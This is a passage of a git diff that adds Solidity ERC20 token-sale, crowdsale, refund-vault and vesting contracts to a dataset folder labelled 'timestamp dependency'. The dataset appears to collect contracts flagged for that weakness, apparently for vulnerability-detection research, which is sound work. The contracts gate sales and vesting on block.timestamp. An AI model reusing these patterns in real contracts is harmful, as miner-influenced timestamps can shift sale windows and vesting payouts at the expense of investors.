totalSaleCapUnits); + + + extraTokensAllocated[_contributor] = true; + uint256 tokenAmount = unitContributions[_contributor].mul(extraTokensPerUnit); + trustedToken.safeTransfer(_contributor, tokenAmount); + + emit TokensAllocated(_contributor, tokenAmount); + } + + + + function setEndTime(uint256 _endTime) external onlyOwner checkAllowed { + require(now < _endTime); + require(getStateStartTime(SALE_ENDED) == 0); + setStateStartTime(SALE_ENDED, _endTime); + } + + + + function enableRefunds() external onlyOwner { + trustedVault.enableRefunds(); + } + + + function endSale() external onlyOwner checkAllowed { + goToNextState(); + } + + + + function transferAllowed(address _from, address) + external + view + returns (bool) + { + return _from == address(this) || _from == address(disbursementHandler); + } + + + + + + function setupDisbursement( + address _beneficiary, + uint256 _tokenAmount, + uint256 _duration + ) + internal + { + require(tokensForSale == 0); + disbursementHandler.setupDisbursement( + _beneficiary, + _tokenAmount, + now.add(_duration) + ); + } + + + function wasCapReached(bytes32) internal returns (bool) { + return totalSaleCapUnits <= totalContributedUnits; + } + + + function onSaleEnded() internal { + + trustedToken.transferOwnership(owner); + + if (totalContributedUnits == 0) { + + + trustedToken.safeTransfer(trustedVault.trustedWallet(), tokensForSale); + + } else if (totalContributedUnits < minThresholdUnits) { + + + trustedVault.enableRefunds(); + + } else { + + + extraTokensPerUnit = tokensForSale.div(totalContributedUnits).sub(saleTokensPerUnit); + + + trustedVault.close(); + trustedVault.transferOwnership(owner); + + } + } + + + function min256(uint256 x, uint256 y, uint256 z) internal pure returns (uint256) { + return Math.min256(x, Math.min256(y, z)); + } + +} + + + +contract FoamSale is Sale { + + address private constant FOAM_WALLET = 0x3061CFBAe69Bff0f933353cea20de6C89Ab16acc; + + constructor() + Sale( + 24000000, + 90, + 1, + 1000000000 * (10 ** 18), + 0x8dAB5379f7979df2Fac963c69B66a25AcdaADbB7, + FOAM_WALLET, + 1 ether, + 25000 ether, + 0, + 1532803878, + "FOAM Token", + "FOAM", + 18, + EthPriceFeedI(0x54bF24e1070784D7F0760095932b47CE55eb3A91) + ) + public + { + + setupDisbursement(FOAM_WALLET, 700000000 * (10 ** 18), 1 hours); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2797.sol b/smart_contract_dataset/timestamp dependency/2797.sol new file mode 100644 index 0000000000000000000000000000000000000000..ee01c62fe427d10a75d6f193449f664e6b1c07a2 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2797.sol @@ -0,0 +1,509 @@ +pragma solidity ^0.4.23; + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + if (a == 0) { + return 0; + } + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + uint256 totalSupply_; + + + function totalSupply() public view returns (uint256) { + return totalSupply_; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +contract OwnableToken { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + function OwnableToken() public { + owner = msg.sender; + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +contract BurnableToken is BasicToken, OwnableToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public onlyOwner { + require(_value <= balances[msg.sender]); + + address burner = msg.sender; + balances[burner] = balances[burner].sub(_value); + totalSupply_ = totalSupply_.sub(_value); + Burn(burner, _value); + Transfer(burner, address(0), _value); + } +} + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + +contract gsToken is OwnableToken, BurnableToken, StandardToken { + string public name; + string public symbol; + uint8 public decimals; + + bool public paused = true; + mapping(address => bool) public whitelist; + + modifier whenNotPaused() { + require(!paused || whitelist[msg.sender]); + _; + } + + constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public { + name = _name; + symbol = _symbol; + decimals = _decimals; + Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals)); + addToWhitelist(holder); + addToWhitelist(buffer); + } + + function unpause() public onlyOwner { + paused = false; + } + + function pause() public onlyOwner { + paused = true; + } + + function addToWhitelist(address addr) public onlyOwner { + whitelist[addr] = true; + } + + function removeFromWhitelist(address addr) public onlyOwner { + whitelist[addr] = false; + } + + function transfer(address to, uint256 value) public whenNotPaused returns (bool) { + return super.transfer(to, value); + } + + function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { + return super.transferFrom(from, to, value); + } + +} + +contract Crowdsale { + using SafeMath for uint256; + + + ERC20 public token; + + + address public wallet; + + + uint256 public rate; + + + uint256 public weiRaised; + + + event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); + + + constructor(uint256 _rate, address _wallet, ERC20 _token) public { + require(_rate > 0); + require(_wallet != address(0)); + + rate = _rate; + wallet = _wallet; + token = _token; + } + + function () external payable { + buyTokens(msg.sender); + } + + function buyTokens(address _beneficiary) public payable { + + uint256 weiAmount = msg.value; + _preValidatePurchase(_beneficiary, weiAmount); + + + uint256 tokens = _getTokenAmount(weiAmount); + + + weiRaised = weiRaised.add(weiAmount); + + _processPurchase(_beneficiary, tokens); + emit TokenPurchase( + msg.sender, + _beneficiary, + weiAmount, + tokens + ); + + _updatePurchasingState(_beneficiary, weiAmount); + + _forwardFunds(); + _postValidatePurchase(_beneficiary, weiAmount); + } + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + require(_beneficiary != address(0)); + require(_weiAmount != 0); + } + + function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + + } + + function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { + token.transfer(_beneficiary, _tokenAmount); + } + + function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { + _deliverTokens(_beneficiary, _tokenAmount); + } + + function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { + + } + + function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { + return _weiAmount.mul(rate); + } + + function _forwardFunds() internal { + wallet.transfer(msg.value); + } +} + +contract CappedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public cap; + + constructor(uint256 _cap) public { + require(_cap > 0); + cap = _cap; + } + + function capReached() public view returns (bool) { + return weiRaised >= cap; + } + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { + super._preValidatePurchase(_beneficiary, _weiAmount); + require(weiRaised.add(_weiAmount) <= cap); + } + +} + +contract TimedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public openingTime; + uint256 public closingTime; + + modifier onlyWhileOpen { + require(block.timestamp >= openingTime && block.timestamp <= closingTime); + _; + } + + constructor(uint256 _openingTime, uint256 _closingTime) public { + + openingTime = _openingTime; + closingTime = _closingTime; + } + + function hasClosed() public view returns (bool) { + return block.timestamp > closingTime; + } + + function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { + super._preValidatePurchase(_beneficiary, _weiAmount); + } + +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + constructor() public { + owner = msg.sender; + } + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } +} + +contract FinalizableCrowdsale is TimedCrowdsale, Ownable { + using SafeMath for uint256; + + bool public isFinalized = false; + + event Finalized(); + + function finalize() onlyOwner public { + require(!isFinalized); + require(hasClosed()); + + finalization(); + emit Finalized(); + + isFinalized = true; + } + + function finalization() internal { + } + +} + +contract RefundVault is Ownable { + using SafeMath for uint256; + + enum State { Active, Refunding, Closed } + + mapping (address => uint256) public deposited; + address public wallet; + State public state; + + event Closed(); + event RefundsEnabled(); + event Refunded(address indexed beneficiary, uint256 weiAmount); + + constructor(address _wallet) public { + require(_wallet != address(0)); + wallet = _wallet; + state = State.Active; + } + + function deposit(address investor) onlyOwner public payable { + require(state == State.Active); + deposited[investor] = deposited[investor].add(msg.value); + } + + function close() onlyOwner public { + require(state == State.Active); + state = State.Closed; + emit Closed(); + wallet.transfer(address(this).balance); + } + + function enableRefunds() onlyOwner public { + require(state == State.Active); + state = State.Refunding; + emit RefundsEnabled(); + } + + function refund(address investor) public { + require(state == State.Refunding); + uint256 depositedValue = deposited[investor]; + deposited[investor] = 0; + investor.transfer(depositedValue); + emit Refunded(investor, depositedValue); + } +} + +contract RefundableCrowdsale is FinalizableCrowdsale { + using SafeMath for uint256; + + uint256 public goal; + + RefundVault public vault; + + + constructor(uint256 _goal) public { + require(_goal > 0); + vault = new RefundVault(wallet); + goal = _goal; + } + + function claimRefund() public { + require(isFinalized); + require(!goalReached()); + + vault.refund(msg.sender); + } + + function goalReached() public view returns (bool) { + return weiRaised >= goal; + } + + function finalization() internal { + if (goalReached()) { + vault.close(); + } else { + vault.enableRefunds(); + } + + super.finalization(); + } + + function _forwardFunds() internal { + vault.deposit.value(msg.value)(msg.sender); + } + +} + +contract gsCrowdsale is CappedCrowdsale, RefundableCrowdsale { + + constructor( + uint256 _openingTime, + uint256 _closingTime, + uint256 _rate, + address _wallet, + uint256 _cap, + ERC20 _token, + uint256 _goal + ) + public + Crowdsale(_rate, _wallet, _token) + CappedCrowdsale(_cap) + TimedCrowdsale(_openingTime, _closingTime) + RefundableCrowdsale(_goal) + { + require(_goal <= _cap); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2814.sol b/smart_contract_dataset/timestamp dependency/2814.sol new file mode 100644 index 0000000000000000000000000000000000000000..1054f65dd2460c9eb97177f2d0fcdad1bc6c9419 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2814.sol @@ -0,0 +1,440 @@ + + + + + + + + + + + +pragma solidity ^0.4.24; + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + + + + + + + +contract EthertoteToken { + function thisContractAddress() public pure returns (address) {} + function balanceOf(address) public pure returns (uint256) {} + function transfer(address, uint) public {} +} + + + + + + +contract TokenSale { + using SafeMath for uint256; + + EthertoteToken public token; + + address public admin; + address public thisContractAddress; + + + address public tokenContractAddress = 0x42be9831FFF77972c1D0E1eC0aA9bdb3CaA04D47; + + + + address public tokenBurnAddress = 0xadCa18DC9489C5FE5BdDf1A8a8C2623B66029198; + + + + address public ethRaisedAddress = 0x9F73D808807c71Af185FEA0c1cE205002c74123C; + + uint public preIcoPhaseCountdown; + uint public icoPhaseCountdown; + uint public postIcoPhaseCountdown; + + + bool public tokenSaleIsPaused; + + + uint public tokenSalePausedTime; + + + uint public tokenSaleResumedTime; + + + + uint public tokenSalePausedDuration; + + + uint256 public weiRaised; + + + uint public maxEthRaised = 9000; + + + + + uint public maxWeiRaised = maxEthRaised.mul(1000000000000000000); + + + + uint public openingTime = 1535385600; + uint public closingTime = openingTime.add(7 days); + + + + uint public rate = 1000000000000000; + + + uint public minSpend = 100000000000000000; + uint public maxSpend = 100000000000000000000; + + + + modifier onlyAdmin { + require(msg.sender == admin + ); + _; + } + + + event Deployed(string, uint); + event SalePaused(string, uint); + event SaleResumed(string, uint); + event TokensBurned(string, uint); + + + + + + + + constructor() public { + + admin = msg.sender; + thisContractAddress = address(this); + + token = EthertoteToken(tokenContractAddress); + + + require(ethRaisedAddress != address(0)); + require(tokenContractAddress != address(0)); + require(tokenBurnAddress != address(0)); + + preIcoPhaseCountdown = openingTime; + icoPhaseCountdown = closingTime; + + + + postIcoPhaseCountdown = closingTime.add(14 days); + + emit Deployed("Ethertote Token Sale contract deployed", now); + } + + + + + function tokenSaleTokenBalance() public view returns(uint) { + return token.balanceOf(thisContractAddress); + } + + + function getAnyAddressTokenBalance(address _address) public view returns(uint) { + return token.balanceOf(_address); + } + + + function tokenSaleHasFinished() public view returns (bool) { + return now > closingTime; + } + + + + function burnUnsoldTokens() public { + require(tokenSaleIsPaused == false); + require(tokenSaleHasFinished() == true); + token.transfer(tokenBurnAddress, tokenSaleTokenBalance()); + emit TokensBurned("tokens sent to TokenBurn contract", now); + } + + + + + function pauseTokenSale() onlyAdmin public { + + require(tokenSaleHasFinished() == false); + + + require(tokenSaleIsPaused == false); + + + tokenSaleIsPaused = true; + tokenSalePausedTime = now; + emit SalePaused("token sale has been paused", now); + } + + + function resumeTokenSale() onlyAdmin public { + + + require(tokenSaleIsPaused == true); + + tokenSaleResumedTime = now; + + + + + + + + + + tokenSalePausedDuration = tokenSaleResumedTime.sub(tokenSalePausedTime); + + + + closingTime = closingTime.add(tokenSalePausedDuration); + + + postIcoPhaseCountdown = closingTime.add(14 days); + + tokenSaleIsPaused = false; + emit SaleResumed("token sale has now resumed", now); + } + + + + + + + + + + event TokenPurchase( + address indexed purchaser, + address indexed beneficiary, + uint256 value, + uint256 amount + ); + + + + + + + + + + + + + + + function () external payable { + buyTokens(msg.sender); + } + + + + + + + function buyTokens(address buyer) public payable { + + + require(openingTime <= block.timestamp); + require(block.timestamp < closingTime); + + + require(msg.value >= minSpend); + + + + require(msg.value <= maxSpend); + + + require(tokenSaleTokenBalance() > 0); + + + require(tokenSaleIsPaused == false); + + + uint256 weiAmount = msg.value; + preValidatePurchase(buyer, weiAmount); + + + uint256 tokens = getTokenAmount(weiAmount); + + + + require(tokens <= tokenSaleTokenBalance()); + + + weiRaised = weiRaised.add(weiAmount); + + processPurchase(buyer, tokens); + emit TokenPurchase( + msg.sender, + buyer, + weiAmount, + tokens + ); + + updatePurchasingState(buyer, weiAmount); + + forwardFunds(); + postValidatePurchase(buyer, weiAmount); + } + + + + + + + + + function preValidatePurchase( + address buyer, + uint256 weiAmount + ) + internal pure + { + require(buyer != address(0)); + require(weiAmount != 0); + } + + + + + function postValidatePurchase( + address, + uint256 + ) + internal pure + { + + } + + + + + function deliverTokens( + address buyer, + uint256 tokenAmount + ) + internal + { + token.transfer(buyer, tokenAmount); + } + + + + + + function processPurchase( + address buyer, + uint256 tokenAmount + ) + internal + { + deliverTokens(buyer, tokenAmount); + } + + + + + + function updatePurchasingState( + address, + uint256 + ) + internal pure + { + + } + + + + + + + function getTokenAmount(uint256 weiAmount) + internal view returns (uint256) + { + return weiAmount.div(rate); + } + + + + + + function forwardFunds() internal { + ethRaisedAddress.transfer(msg.value); + } + + + + + function maximumRaised() public view returns(uint) { + return maxWeiRaised; + } + + function amountRaised() public view returns(uint) { + return weiRaised; + } + + function timeComplete() public view returns(uint) { + return closingTime; + } + + + function delayOpeningTime(uint256 _openingTime) onlyAdmin public { + openingTime = _openingTime; + closingTime = openingTime.add(7 days); + preIcoPhaseCountdown = openingTime; + icoPhaseCountdown = closingTime; + postIcoPhaseCountdown = closingTime.add(14 days); + } + + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/2861.sol b/smart_contract_dataset/timestamp dependency/2861.sol new file mode 100644 index 0000000000000000000000000000000000000000..d32be5c5bf085f34d782f854e0736134c5803de6 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/2861.sol @@ -0,0 +1,382 @@ +pragma solidity ^0.4.23; + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); + + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + +contract Ownable { + address public owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + emit OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + +contract StandardToken is ERC20Basic { + + using SafeMath for uint256; + + mapping (address => mapping (address => uint256)) internal allowed; + + mapping(address => uint256) balances; + + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + emit Transfer(msg.sender, _to, _value); + return true; + } + + + function batchTransfer(address[] _toList, uint256[] _tokensList) public returns (bool) { + require(_toList.length <= 100); + require(_toList.length == _tokensList.length); + + uint256 sum = 0; + for (uint32 index = 0; index < _tokensList.length; index++) { + sum = sum.add(_tokensList[index]); + } + + + require (balances[msg.sender] >= sum); + + for (uint32 i = 0; i < _toList.length; i++) { + transfer(_toList[i],_tokensList[i]); + } + return true; + } + + + function balanceOf(address _owner) public constant returns (uint256 balance) { + return balances[_owner]; + } + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + emit Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + emit Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } +} + + +contract BurnableToken is StandardToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + require(_value > 0); + require(_value <= balances[msg.sender]); + + + + address burner = msg.sender; + balances[burner] = balances[burner].sub(_value); + totalSupply = totalSupply.sub(_value); + emit Burn(burner, _value); + } +} + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply = totalSupply.add(_amount); + balances[_to] = balances[_to].add(_amount); + emit Mint(_to, _amount); + emit Transfer(0x0, _to, _amount); + return true; + } + + + function finishMinting() onlyOwner public returns (bool) { + mintingFinished = true; + emit MintFinished(); + return true; + } +} + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + emit Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + emit Unpause(); + } +} + + + +contract TokenVesting is StandardToken,Ownable { + using SafeMath for uint256; + + event AddToVestMap(address vestcount); + event DelFromVestMap(address vestcount); + + event Released(address vestcount,uint256 amount); + event Revoked(address vestcount); + + struct tokenToVest{ + bool exist; + uint256 start; + uint256 cliff; + uint256 duration; + uint256 torelease; + uint256 released; + } + + + mapping (address=>tokenToVest) vestToMap; + + + + function addToVestMap( + address _beneficiary, + uint256 _start, + uint256 _cliff, + uint256 _duration, + uint256 _torelease + ) public onlyOwner{ + require(_beneficiary != address(0)); + require(_cliff <= _duration); + require(_start > block.timestamp); + require(!vestToMap[_beneficiary].exist); + + vestToMap[_beneficiary] = tokenToVest(true,_start,_start.add(_cliff),_duration, + _torelease,uint256(0)); + + emit AddToVestMap(_beneficiary); + } + + + + function delFromVestMap( + address _beneficiary + ) public onlyOwner{ + require(_beneficiary != address(0)); + require(vestToMap[_beneficiary].exist); + + delete vestToMap[_beneficiary]; + + emit DelFromVestMap(_beneficiary); + } + + + + + function release(address _beneficiary) public { + + tokenToVest storage value = vestToMap[_beneficiary]; + require(value.exist); + uint256 unreleased = releasableAmount(_beneficiary); + require(unreleased > 0); + require(unreleased + value.released <= value.torelease); + + + vestToMap[_beneficiary].released = vestToMap[_beneficiary].released.add(unreleased); + + transfer(_beneficiary, unreleased); + + emit Released(_beneficiary,unreleased); + } + + + function releasableAmount(address _beneficiary) public view returns (uint256) { + return vestedAmount(_beneficiary).sub(vestToMap[_beneficiary].released); + } + + + function vestedAmount(address _beneficiary) public view returns (uint256) { + + tokenToVest storage value = vestToMap[_beneficiary]; + + uint256 totalBalance = value.torelease; + + if (block.timestamp < value.cliff) { + return 0; + } else if (block.timestamp >= value.start.add(value.duration)) { + return totalBalance; + } else { + return totalBalance.mul(block.timestamp.sub(value.start)).div(value.duration); + } + } +} + + + +contract PausableToken is TokenVesting, Pausable { + + function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { + return super.transfer(_to, _value); + } + + function batchTransfer(address[] _toList, uint256[] _tokensList) public whenNotPaused returns (bool) { + return super.batchTransfer(_toList, _tokensList); + } + + function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { + return super.transferFrom(_from, _to, _value); + } + + function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { + return super.approve(_spender, _value); + } + + function release(address _beneficiary) public whenNotPaused{ + super.release(_beneficiary); + } +} + + +contract DELCToken is BurnableToken, MintableToken, PausableToken { + + string public name; + string public symbol; + + uint8 public decimals; + + constructor() public { + name = "DELC Relation Person Token"; + symbol = "DELC"; + decimals = 18; + totalSupply = 10000000000 * 10 ** uint256(decimals); + + + balances[msg.sender] = totalSupply; + + emit Transfer(address(0), msg.sender, totalSupply); + + } + + + + + + + + + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/292.sol b/smart_contract_dataset/timestamp dependency/292.sol new file mode 100644 index 0000000000000000000000000000000000000000..7037465ab69de558136a43cc592fb590f622144c --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/292.sol @@ -0,0 +1,1314 @@ + +pragma solidity ^0.4.11; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public constant returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + + + +contract SafeMath { + function safeMul(uint a, uint b) internal returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function safeDiv(uint a, uint b) internal returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function safeSub(uint a, uint b) internal returns (uint) { + assert(b <= a); + return a - b; + } + + function safeAdd(uint a, uint b) internal returns (uint) { + uint c = a + b; + assert(c>=a && c>=b); + return c; + } + + function max64(uint64 a, uint64 b) internal constant returns (uint64) { + return a >= b ? a : b; + } + + function min64(uint64 a, uint64 b) internal constant returns (uint64) { + return a < b ? a : b; + } + + function max256(uint256 a, uint256 b) internal constant returns (uint256) { + return a >= b ? a : b; + } + + function min256(uint256 a, uint256 b) internal constant returns (uint256) { + return a < b ? a : b; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) onlyOwner public { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + + + +library SafeMathLibExt { + + function times(uint a, uint b) returns (uint) { + uint c = a * b; + assert(a == 0 || c / a == b); + return c; + } + + function divides(uint a, uint b) returns (uint) { + assert(b > 0); + uint c = a / b; + assert(a == b * c + a % b); + return c; + } + + function minus(uint a, uint b) returns (uint) { + assert(b <= a); + return a - b; + } + + function plus(uint a, uint b) returns (uint) { + uint c = a + b; + assert(c>=a); + return c; + } + +} + + + + + + + + + + + + + +contract Haltable is Ownable { + bool public halted; + + modifier stopInEmergency { + if (halted) throw; + _; + } + + modifier stopNonOwnersInEmergency { + if (halted && msg.sender != owner) throw; + _; + } + + modifier onlyInEmergency { + if (!halted) throw; + _; + } + + + function halt() external onlyOwner { + halted = true; + } + + + function unhalt() external onlyOwner onlyInEmergency { + halted = false; + } + +} + + + + + + +contract PricingStrategy { + + address public tier; + + + function isPricingStrategy() public constant returns (bool) { + return true; + } + + + function isSane(address crowdsale) public constant returns (bool) { + return true; + } + + + function isPresalePurchase(address purchaser) public constant returns (bool) { + return false; + } + + + function updateRate(uint newOneTokenInWei) public; + + + function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount); +} + + + + + + +contract FinalizeAgent { + + bool public reservedTokensAreDistributed = false; + + function isFinalizeAgent() public constant returns(bool) { + return true; + } + + + function isSane() public constant returns (bool); + + function distributeReservedTokens(uint reservedTokensDistributionBatch); + + + function finalizeCrowdsale(); + +} + + + + + + + + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public constant returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +contract FractionalERC20Ext is ERC20 { + + uint public decimals; + uint public minCap; + +} + + + + +contract CrowdsaleExt is Haltable { + + + uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5; + + using SafeMathLibExt for uint; + + + FractionalERC20Ext public token; + + + PricingStrategy public pricingStrategy; + + + FinalizeAgent public finalizeAgent; + + + string public name; + + + address public multisigWallet; + + + uint public minimumFundingGoal; + + + uint public startsAt; + + + uint public endsAt; + + + uint public tokensSold = 0; + + + uint public weiRaised = 0; + + + uint public investorCount = 0; + + + bool public finalized; + + bool public isWhiteListed; + + address[] public joinedCrowdsales; + uint8 public joinedCrowdsalesLen = 0; + uint8 public joinedCrowdsalesLenMax = 50; + struct JoinedCrowdsaleStatus { + bool isJoined; + uint8 position; + } + mapping (address => JoinedCrowdsaleStatus) joinedCrowdsaleState; + + + mapping (address => uint256) public investedAmountOf; + + + mapping (address => uint256) public tokenAmountOf; + + struct WhiteListData { + bool status; + uint minCap; + uint maxCap; + } + + + bool public isUpdatable; + + + mapping (address => WhiteListData) public earlyParticipantWhitelist; + + + address[] public whitelistedParticipants; + + + uint public ownerTestValue; + + + enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized} + + + event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId); + + + event Whitelisted(address addr, bool status, uint minCap, uint maxCap); + event WhitelistItemChanged(address addr, bool status, uint minCap, uint maxCap); + + + event StartsAtChanged(uint newStartsAt); + + + event EndsAtChanged(uint newEndsAt); + + function CrowdsaleExt(string _name, address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) { + + owner = msg.sender; + + name = _name; + + token = FractionalERC20Ext(_token); + + setPricingStrategy(_pricingStrategy); + + multisigWallet = _multisigWallet; + if(multisigWallet == 0) { + throw; + } + + if(_start == 0) { + throw; + } + + startsAt = _start; + + if(_end == 0) { + throw; + } + + endsAt = _end; + 